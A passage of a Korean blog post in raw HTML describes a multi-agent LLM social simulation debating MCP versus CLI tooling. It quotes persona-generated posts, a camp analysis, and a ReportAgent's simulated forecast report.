data-origin-width=&quot;2204&quot; data-origin-height=&quot;478&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2200&quot; data-origin-height=&quot;478&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/co3bsp/dJMcadVCw1U/DOHYulFQ29NKfDQ6uIxdD1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/co3bsp/dJMcadVCw1U/DOHYulFQ29NKfDQ6uIxdD1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/co3bsp/dJMcadVCw1U/DOHYulFQ29NKfDQ6uIxdD1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fco3bsp%2FdJMcadVCw1U%2FDOHYulFQ29NKfDQ6uIxdD1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2200&quot; height=&quot;478&quot; data-origin-width=&quot;2200&quot; data-origin-height=&quot;478&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2226&quot; data-origin-height=&quot;932&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cfQTiQ/dJMcahDJ2nL/6EyL7AnYnTHUQYBoTRMEGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cfQTiQ/dJMcahDJ2nL/6EyL7AnYnTHUQYBoTRMEGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cfQTiQ/dJMcahDJ2nL/6EyL7AnYnTHUQYBoTRMEGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcfQTiQ%2FdJMcahDJ2nL%2F6EyL7AnYnTHUQYBoTRMEGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2226&quot; height=&quot;932&quot; data-origin-width=&quot;2226&quot; data-origin-height=&quot;932&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2216&quot; data-origin-height=&quot;748&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cloKZi/dJMcag5VWQg/pCuqC1rCkGxmN9AeCJbqz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cloKZi/dJMcag5VWQg/pCuqC1rCkGxmN9AeCJbqz0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cloKZi/dJMcag5VWQg/pCuqC1rCkGxmN9AeCJbqz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcloKZi%2FdJMcag5VWQg%2FpCuqC1rCkGxmN9AeCJbqz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2216&quot; height=&quot;748&quot; data-origin-width=&quot;2216&quot; data-origin-height=&quot;748&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2230&quot; data-origin-height=&quot;1452&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qoVq7/dJMcadH5rlv/rsu6iK392Kfp5ph7YFAjJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qoVq7/dJMcadH5rlv/rsu6iK392Kfp5ph7YFAjJK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qoVq7/dJMcadH5rlv/rsu6iK392Kfp5ph7YFAjJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqoVq7%2FdJMcadH5rlv%2Frsu6iK392Kfp5ph7YFAjJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2230&quot; height=&quot;1452&quot; data-origin-width=&quot;2230&quot; data-origin-height=&quot;1452&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;시뮬레이션 중 벌어지는 일: 38개 콘텐츠&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;시뮬레이션을 시작하면 에이전트들이 알아서 포스트를 쓰고, 서로의 포스트에 반응하기 시작한다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2304&quot; data-origin-height=&quot;798&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpQX04/dJMcadaeAHk/NKq43WVEKlTOfJZwv81oQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpQX04/dJMcadaeAHk/NKq43WVEKlTOfJZwv81oQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpQX04/dJMcadaeAHk/NKq43WVEKlTOfJZwv81oQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpQX04%2FdJMcadaeAHk%2FNKq43WVEKlTOfJZwv81oQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2304&quot; height=&quot;798&quot; data-origin-width=&quot;2304&quot; data-origin-height=&quot;798&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;주요 발언 하이라이트&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;에이전트들이 실제로 생성한 포스트 원문이다. 사람이 쓴 게 아니라, LLM이 각 에이전트의 페르소나에 맞춰 자동으로 만든 것이다:&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1712&quot; data-origin-height=&quot;1570&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VzS31/dJMcadaeCdF/lEIxLeUHNLXu3X2pUj2vc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VzS31/dJMcadaeCdF/lEIxLeUHNLXu3X2pUj2vc0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VzS31/dJMcadaeCdF/lEIxLeUHNLXu3X2pUj2vc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVzS31%2FdJMcadaeCdF%2FlEIxLeUHNLXu3X2pUj2vc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1712&quot; height=&quot;1570&quot; data-origin-width=&quot;1712&quot; data-origin-height=&quot;1570&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1716&quot; data-origin-height=&quot;1482&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AyRF7/dJMb99MtdpB/AT9aWF144roCaBVkuaKRg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AyRF7/dJMb99MtdpB/AT9aWF144roCaBVkuaKRg0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AyRF7/dJMb99MtdpB/AT9aWF144roCaBVkuaKRg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAyRF7%2FdJMb99MtdpB%2FAT9aWF144roCaBVkuaKRg0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1716&quot; height=&quot;1482&quot; data-origin-width=&quot;1716&quot; data-origin-height=&quot;1482&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #fff8e1; padding: 15px 20px; border-radius: 8px; border: 1px solid #ffcc02; margin: 15px 0;&quot;&gt;&lt;b&gt;실제 시뮬레이션 포스트 (원문)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;
&lt;div style=&quot;background: #fff; padding: 12px; border-radius: 6px; border: 1px solid #eee; margin-bottom: 10px;&quot;&gt;&lt;span style=&quot;background: #f8d7da; padding: 2px 8px; border-radius: 4px; font-size: 12px; font-weight: bold;&quot;&gt;CLI 옹호&lt;/span&gt; &lt;b&gt;m00nlygreat_495 (@m00nlygreat):&lt;/b&gt;&lt;br /&gt;&quot;MCP is Dead. LLMs already know how to use CLI perfectly well. The 32x token overhead (44,026 vs 1,365 tokens) is a fatal flaw that no enterprise feature can justify. I've been using Claude Code with raw CLI for months &amp;mdash; it's faster, cheaper, and more reliable. The MCP hype was a solution looking for a problem.&quot; &lt;span style=&quot;color: #999;&quot;&gt;#MCPisDead #CLI&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: #fff; padding: 12px; border-radius: 6px; border: 1px solid #eee; margin-bottom: 10px;&quot;&gt;&lt;span style=&quot;background: #d4edda; padding: 2px 8px; border-radius: 4px; font-size: 12px; font-weight: bold;&quot;&gt;MCP 옹호 (의외의 반전)&lt;/span&gt; &lt;b&gt;eric_holmes_290 (@Eric Holmes):&lt;/b&gt;&lt;br /&gt;&quot;Holmes는 stdio 전송 문제에 대해 맞습니다. 하지만 'MCP is Dead'는 극단적 결론입니다. MCP의 진정한 가치는 보안 경계, 감사 로그, 엔터프라이즈 컴플라이언스에 있습니다. CLI는 '자유'를 주지만, 기업 환경에서 그 자유는 리스크입니다. MCP is Dead; Long Live MCP!&quot; &lt;span style=&quot;color: #999;&quot;&gt;#MCP #엔터프라이즈&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: #fff; padding: 12px; border-radius: 6px; border: 1px solid #eee; margin-bottom: 10px;&quot;&gt;&lt;span style=&quot;background: #fff3cd; padding: 2px 8px; border-radius: 4px; font-size: 12px; font-weight: bold;&quot;&gt;조건부/하이브리드&lt;/span&gt; &lt;b&gt;charles_chen_543 (@Charles Chen):&lt;/b&gt;&lt;br /&gt;&quot;Interesting debate. As someone who evaluated both for our 200-person org: CLI is great for prototyping, but MCP's structured tool boundaries are non-negotiable for production. The token cost is real, but compliance cost is higher. That said, 32x overhead needs to be addressed in v2.&quot; &lt;span style=&quot;color: #999;&quot;&gt;#hybrid #enterprise&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: #fff; padding: 12px; border-radius: 6px; border: 1px solid #eee; margin-bottom: 10px;&quot;&gt;&lt;span style=&quot;background: #e2e3e5; padding: 2px 8px; border-radius: 4px; font-size: 12px; font-weight: bold;&quot;&gt;보안 경고&lt;/span&gt; &lt;b&gt;보안_전문가_565 (@보안전문가):&lt;/b&gt;&lt;br /&gt;&quot;MCP 서버는 새로운 공격 표면입니다. 초기 버전에 보안이 고려되지 않았고, OAuth가 나중에 급하게 붙여진 것은 우려스럽습니다. DPoP와 Workload Identity가 2026 로드맵에 포함되었지만, 아직 검증되지 않았습니다. 엔터프라이즈 도입 전 보안 감사가 필수입니다.&quot; &lt;span style=&quot;color: #999;&quot;&gt;#보안 #MCP취약점&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: #fff; padding: 12px; border-radius: 6px; border: 1px solid #eee; margin-bottom: 10px;&quot;&gt;&lt;span style=&quot;background: #fff3cd; padding: 2px 8px; border-radius: 4px; font-size: 12px; font-weight: bold;&quot;&gt;조건부&lt;/span&gt; &lt;b&gt;brainer_622 (@brainer):&lt;/b&gt;&lt;br /&gt;&quot;우리 팀은 Figma MCP를 사용 중인데 디자인-개발 연동에서 확실히 유용합니다. 하지만 백엔드 작업에서는 여전히 CLI가 더 빠릅니다. '프론트엔드=MCP, 백엔드=CLI'로 나뉘는 건 아닌데... 상황에 따라 선택하는 게 맞는 것 같습니다.&quot; &lt;span style=&quot;color: #999;&quot;&gt;#FigmaMCP #하이브리드&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: #fff; padding: 12px; border-radius: 6px; border: 1px solid #eee; margin-bottom: 10px;&quot;&gt;&lt;span style=&quot;background: #f8d7da; padding: 2px 8px; border-radius: 4px; font-size: 12px; font-weight: bold;&quot;&gt;CLI 실사용 경험&lt;/span&gt; &lt;b&gt;jamsya_429 (@jamsya):&lt;/b&gt;&lt;br /&gt;&quot;claude code가 MCP 설치 없이 aws cli를 직접 호출해서 필요한 리소스를 가져오는 걸 봤습니다. 실제로 동작하더라고요. MCP가 필요한 경우가 언제인지 진지하게 고민하게 됩니다.&quot; &lt;span style=&quot;color: #999;&quot;&gt;#claudecode #awscli #MCP&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: #fff; padding: 12px; border-radius: 6px; border: 1px solid #eee;&quot;&gt;&lt;span style=&quot;background: #d4edda; padding: 2px 8px; border-radius: 4px; font-size: 12px; font-weight: bold;&quot;&gt;MCP 옹호 (플랫폼 독립성)&lt;/span&gt; &lt;b&gt;kasey_junk_780 (@kasey_junk):&lt;/b&gt;&lt;br /&gt;&quot;MCP를 '코딩 에이전트'로만 보면 CLI가 이깁니다. 하지만 코딩 에이전트는 전체 에이전트 유스케이스의 작은 부분일 뿐입니다. iPad, Android 태블릿 사용자들에게 CLI 접근권은 없습니다. MCP는 플랫폼 독립성을 보장합니다.&quot; &lt;span style=&quot;color: #999;&quot;&gt;#MCP #플랫폼독립성&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;주목할 점이 두 가지 정도 나온 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;첫째, 조건부 입장의 &lt;b&gt;itter 에이전트가 9라운드(Twitter)에서 Charles Chen의 타협적 포스트에 직접 좋아요를 눌렀다&lt;/b&gt; &amp;mdash; &quot;CLI는 프로토타이핑에 좋지만, MCP의 구조화된 경계는 프로덕션에서 타협 불가&quot;라는 요지의 포스트에 공감이 모인 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;둘째, &lt;b&gt;Eric Holmes 에이전트(eric_holmes_290)가 원래 캐릭터 설정(CLI 강경론자)과 정반대로 MCP를 옹호하는 발언을 생성했다&lt;/b&gt; &amp;mdash; &quot;MCP is Dead; Long Live MCP!&quot;를 외치며 Charles Chen의 반박 관점을 내면화했다. LLM이 시드 문서에서 두 인물의 논거를 읽고 더 설득력 있는 쪽으로 캐릭터를 재해석한 창발적 현상이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;진영 분석&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #0066cc; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #005cb3;&quot;&gt;진영&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #005cb3;&quot;&gt;에이전트&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #005cb3;&quot;&gt;핵심 논거&lt;/th&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #d4edda;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;MCP 찬성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ddd;&quot;&gt;eric_holmes_290 (반전), kasey_junk_780, nvardakas_693, gbro3n_539, charles_chen_543&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ddd;&quot;&gt;32개 플랫폼 지원, 엔터프라이즈 표준화, 크로스플랫폼 이식성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8d7da;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;MCP 반대/CLI 선호&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ddd;&quot;&gt;m00nlygreat_495, jamsya_429, 보안_전문가_565, tptacek_223&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ddd;&quot;&gt;32배 토큰 오버헤드, 프로덕션 비용 문제, CLI 속도 우위&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff3cd;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;조건부/하이브리드&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ddd;&quot;&gt;brainer_622, itter_348, cursor_697, ejholmesgithubio_965, sonnet_844&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ddd;&quot;&gt;개발=CLI, 고객대면/규정준수=MCP, 하이브리드 전략&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #1a1a1a; border-bottom: 3px solid #0066cc; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;4. Step 4: 보고서 생성 &amp;mdash; ReportAgent의 분석&lt;/h2&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;시뮬레이션이 끝나면 &lt;b&gt;ReportAgent&lt;/b&gt;가 모든 에이전트의 포스트와 상호작용을 분석해서 종합 보고서를 만든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;[ 결과 보고서 생성 시작]&lt;/b&gt;을 클릭하자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1388&quot; data-origin-height=&quot;110&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAUHB1/dJMcag5VYs5/jqiPsrXmgWdCSOdEqddLak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAUHB1/dJMcag5VYs5/jqiPsrXmgWdCSOdEqddLak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAUHB1/dJMcag5VYs5/jqiPsrXmgWdCSOdEqddLak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAUHB1%2FdJMcag5VYs5%2FjqiPsrXmgWdCSOdEqddLak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1388&quot; height=&quot;110&quot; data-origin-width=&quot;1388&quot; data-origin-height=&quot;110&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;1172&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgHRPs/dJMcagx4dXI/3iNK312AxVhFizrtIE5qKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgHRPs/dJMcagx4dXI/3iNK312AxVhFizrtIE5qKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgHRPs/dJMcagx4dXI/3iNK312AxVhFizrtIE5qKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgHRPs%2FdJMcagx4dXI%2F3iNK312AxVhFizrtIE5qKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1916&quot; height=&quot;1172&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;1172&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1900&quot; data-origin-height=&quot;1652&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6A6aA/dJMcaaklcNO/4PoqEHuK0orkjKL9uCBxFK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6A6aA/dJMcaaklcNO/4PoqEHuK0orkjKL9uCBxFK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6A6aA/dJMcaaklcNO/4PoqEHuK0orkjKL9uCBxFK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6A6aA%2FdJMcaaklcNO%2F4PoqEHuK0orkjKL9uCBxFK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1900&quot; height=&quot;1652&quot; data-origin-width=&quot;1900&quot; data-origin-height=&quot;1652&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;ReportAgent가 작동하는 방식: ReACT 패턴&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;ReportAgent는 단순히 포스트를 요약하는 게 아니다. &lt;b&gt;ReACT(Reasoning + Acting) 패턴&lt;/b&gt;으로 돌아간다:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;도구 호출&lt;/b&gt;: Deep Insight(심층 분석), Panorama Search(전체 검색), Agent Interview(에이전트 인터뷰) 등의 도구를 자동 호출&lt;/li&gt;
&lt;li&gt;&lt;b&gt;분석&lt;/b&gt;: 도구 결과를 종합해서 패턴과 인사이트 도출&lt;/li&gt;
&lt;li&gt;&lt;b&gt;작성&lt;/b&gt;: 분석 결과를 구조화된 보고서로 정리&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;ReportAgent는 섹션별로 6~8명의 에이전트를 심층 인터뷰하면서 보고서를 만든다. 단순 집계가 아니라, 에이전트 개별 관점을 다시 확인하는 과정이 들어가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;보고서 5개 섹션 요약&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1526&quot; data-origin-height=&quot;1672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CvQDm/dJMcaaScoGa/MsliCcrae4BdiLhtCuRI2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CvQDm/dJMcaaScoGa/MsliCcrae4BdiLhtCuRI2K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CvQDm/dJMcaaScoGa/MsliCcrae4BdiLhtCuRI2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCvQDm%2FdJMcaaScoGa%2FMsliCcrae4BdiLhtCuRI2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1526&quot; height=&quot;1672&quot; data-origin-width=&quot;1526&quot; data-origin-height=&quot;1672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #f0fff0; padding: 15px 20px; border-radius: 8px; border: 1px solid #98d98e; margin: 15px 0;&quot;&gt;&lt;b&gt;보고서: &quot;2026 MCP vs CLI 대논쟁: 표준 경쟁과 생태계 분화 예측 보고서&quot;&lt;/b&gt; (5섹션 완성)&lt;br /&gt;&lt;b&gt;시뮬레이션 ID:&lt;/b&gt; sim_3203834b2934 | &lt;b&gt;보고서 ID:&lt;/b&gt; report_638bb6a90857&lt;br /&gt;&lt;b&gt;요약:&lt;/b&gt; MCP는 엔터프라이즈 시장에서 사실상 표준을 유지하지만, 32배 토큰 오버헤드 문제는 CLI-하이브리드 워크플로의 병존을 초래하며 한국 커뮤니티가 의외의 영향력을 행사하는 분화된 미래가 도래한다.&lt;/div&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 15px 20px; border-radius: 8px; border: 1px solid #b8daff; margin: 15px 0;&quot;&gt;&lt;b&gt;섹션 1: 표준 경쟁의 귀결: MCP의 '불완전한 승리'&lt;/b&gt;&lt;br /&gt;엔터프라이즈 MCP 채택률 78% vs 스타트업 34%로 시장이 명확하게 분화됐다. MCP가 엔터프라이즈 표준으로 승인되었지만, CLI는 비용 효율성과 개발자 자율성의 영역에서 강력한 대안으로 존재한다. &quot;2026년의 표준 경쟁은 승자독식이 아니었습니다.&quot;&lt;/div&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 15px 20px; border-radius: 8px; border: 1px solid #b8daff; margin: 15px 0;&quot;&gt;&lt;b&gt;섹션 2: 스키마 블로트와 MCP v2: 기술적 병목의 부분적 해소&lt;/b&gt;&lt;br /&gt;MCP v2 출시로 토큰 사용량이 44,026 &amp;rarr; 26,415 토큰(40% 감소)으로 줄었지만, CLI 대비 여전히 19배 차이가 난다. 부분적 해소는 됐으나 근본 문제는 해결되지 않았다는 평가.&lt;/div&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 15px 20px; border-radius: 8px; border: 1px solid #b8daff; margin: 15px 0;&quot;&gt;&lt;b&gt;섹션 3: 시장 분화: 엔터프라이즈-MCP vs 스타트업-CLI 하이브리드&lt;/b&gt;&lt;br /&gt;&quot;개발=CLI, 고객대면=MCP&quot; 하이브리드 구조가 사실상의 업계 표준으로 정착됐다. 엔터프라이즈는 보안/컴플라이언스 때문에 MCP를 유지하고, 스타트업은 비용 효율을 위해 CLI 하이브리드를 선택하는 분화가 확인됐다.&lt;/div&gt;
